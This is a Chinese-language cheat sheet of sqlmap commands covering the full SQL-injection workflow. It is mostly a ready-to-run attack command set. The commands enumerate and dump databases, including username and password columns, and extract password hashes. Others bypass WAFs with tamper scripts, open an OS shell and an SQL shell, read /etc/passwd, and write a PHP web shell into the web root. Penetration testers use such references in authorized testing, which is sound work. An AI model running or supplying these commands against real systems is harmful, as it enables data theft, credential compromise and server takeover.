Sqlmap Injection Guide
自动化 SQL 注入工具的终极速查表,涵盖从漏洞发现到拖库提权的全流程命令。
基础扫描 (Basic)
扫描单个 GET 注入点
sqlmap -u "<URL>" 扫描 POST 请求注入点
sqlmap -u "<URL>" --data="id=1&name=test" 从 HTTP 请求文件读取 (推荐)
sqlmap -r request.txt 带 Cookie 进行扫描
sqlmap -u "<URL>" --cookie="PHPSESSID=..." 查看基础帮助信息
sqlmap --help 查看详细帮助信息 (更多高级参数)
sqlmap -hh 枚举数据库信息
列出所有数据库名
sqlmap -u "<URL>" --dbs 获取当前使用的数据库名
sqlmap -u "<URL>" --current-db 列出指定数据库的所有表
sqlmap -u "<URL>" -D <DB> --tables 列出指定表的所有字段
sqlmap -u "<URL>" -D <DB> -T <TBL> --columns 拖取指定字段的数据
sqlmap -u "<URL>" -D <DB> -T <TBL> -C "u,p" --dump 列出 DBMS 所有的用户
sqlmap -u "<URL>" --users 尝试获取数据库用户的密码 Hash
sqlmap -u "<URL>" --passwords 注入强度与绕过
扫描强度级别 (1-5, 3 会测试 Cookie)
sqlmap ... --level 3 扫描风险级别 (1-3, 2 会包含时间盲注)
sqlmap ... --risk 2 使用随机 User-Agent
sqlmap ... --random-agent 设置代理 (如 BurpSuite)
sqlmap ... --proxy="http://127.0.0.1:8080" 使用脚本绕过 WAF (用逗号分隔)
sqlmap ... --tamper="between,space2comment" 检测目标是否存在 WAF 防护
sqlmap ... --check-waf 进阶交互
检测当前用户是否为 DBA (管理员)
sqlmap ... --is-dba 尝试获取操作系统的交互式 Shell
sqlmap ... --os-shell 获取交互式 SQL Shell
sqlmap ... --sql-shell 读取目标服务器上的文件
sqlmap ... --file-read="/etc/passwd" 向目标服务器写入文件
sqlmap ... --file-write="shell.php" --file-dest="/var/www/html/s.php" 常用实战技巧
自动化模式 (所有提问均选默认回答)
sqlmap ... --batch 设置最大线程数 (最高为 10)
sqlmap ... --threads 5 指定注入技术 (B:布尔, E:报错, U:联合, S:堆叠, T:时间)
sqlmap ... --technique T 强制指定数据库类型 (加快速度)
sqlmap ... --dbms mysql 清除当前目标的扫描缓存,重新开始
sqlmap ... --flush-session 未找到相关 sqlmap 命令
试试搜索 "dump"、"shell" 或 "tamper" 等关键字。